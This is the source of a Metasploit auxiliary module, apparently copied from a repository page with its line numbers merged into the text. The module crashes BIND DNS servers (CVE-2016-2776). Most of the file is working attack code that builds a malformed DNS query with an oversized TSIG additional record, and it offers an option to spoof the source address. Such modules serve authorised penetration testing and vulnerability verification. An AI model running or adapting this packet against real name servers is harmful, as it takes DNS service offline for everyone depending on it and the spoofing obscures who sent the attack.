Path: blob/master/modules/auxiliary/dos/dns/bind_tsig.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Capture7include Msf::Auxiliary::UDPScanner8include Msf::Auxiliary::Dos910def initialize(info = {})11super(12update_info(13info,14'Name' => 'BIND TSIG Query Denial of Service',15'Description' => %q{16A defect in the rendering of messages into packets can cause named to17exit with an assertion failure in buffer.c while constructing a response18to a query that meets certain criteria.1920This assertion can be triggered even if the apparent source address21isn't allowed to make queries.22},23# Research and Original PoC - msf module author24'Author' => [25'Martin Rocha',26'Ezequiel Tavella',27'Alejandro Parodi',28'Infobyte Research Team'29],30'References' => [31['CVE', '2016-2776'],32['URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html']33],34'DisclosureDate' => '2016-09-27',35'License' => MSF_LICENSE,36'DefaultOptions' => { 'ScannerRecvWindow' => 0 },37'Notes' => {38'Stability' => [CRASH_SERVICE_DOWN],39'SideEffects' => [],40'Reliability' => []41}42)43)4445register_options([46Opt::RPORT(53),47OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])48])4950deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')51end5253def scan_host(ip)54if datastore['SRC_ADDR']55scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])56else57print_status("Sending packet to #{ip}")58scanner_send(payload, ip, rport)59end60end6162def payload63query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f6564query << "\x00\x00" # Flags: 0x0000 Standard query65query << "\x00\x01" # Questions: 166query << "\x00\x00" # Answer RRs: 067query << "\x00\x00" # Authority RRs: 068query << "\x00\x01" # Additional RRs: 16970# Domain Name71query << get_domain # Random DNS Name72query << "\x00" # [End of name]73query << "\x00\x01" # Type: A (Host Address) (1)74query << "\x00\x01" # Class: IN (0x0001)7576# Additional records. Name77query << ("\x3f" + Rex::Text.rand_text_alphanumeric(63)) * 3 # 192 bytes78query << "\x3d" + Rex::Text.rand_text_alphanumeric(61)79query << "\x00"8081query << "\x00\xfa" # Type: TSIG (Transaction Signature) (250)82query << "\x00\xff" # Class: ANY (0x00ff)83query << "\x00\x00\x00\x00" # Time to live: 084query << "\x00\xfc" # Data length: 2528586# Algorithm Name87query << ("\x3f" + Rex::Text.rand_text_alphanumeric(63)) * 3 # Random 192 bytes88query << "\x1A" + Rex::Text.rand_text_alphanumeric(26) # Random 26 bytes89query << "\x00"9091# Rest of TSIG92query << "\x00\x00" + Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan 1, 1970 03:15:07.000000000 ART93query << "\x01\x2c" # Fudge: 30094query << "\x00\x10" # MAC Size: 1695query << Rex::Text.rand_text_alphanumeric(16) # MAC96query << "\x8f\x65" # Original Id: 3670997query << "\x00\x00" # Error: No error (0)98query << "\x00\x00" # Other len: 099end100101def get_domain102domain = "\x06" + Rex::Text.rand_text_alphanumeric(6)103org = "\x03" + Rex::Text.rand_text_alphanumeric(3)104domain + org105end106end107108109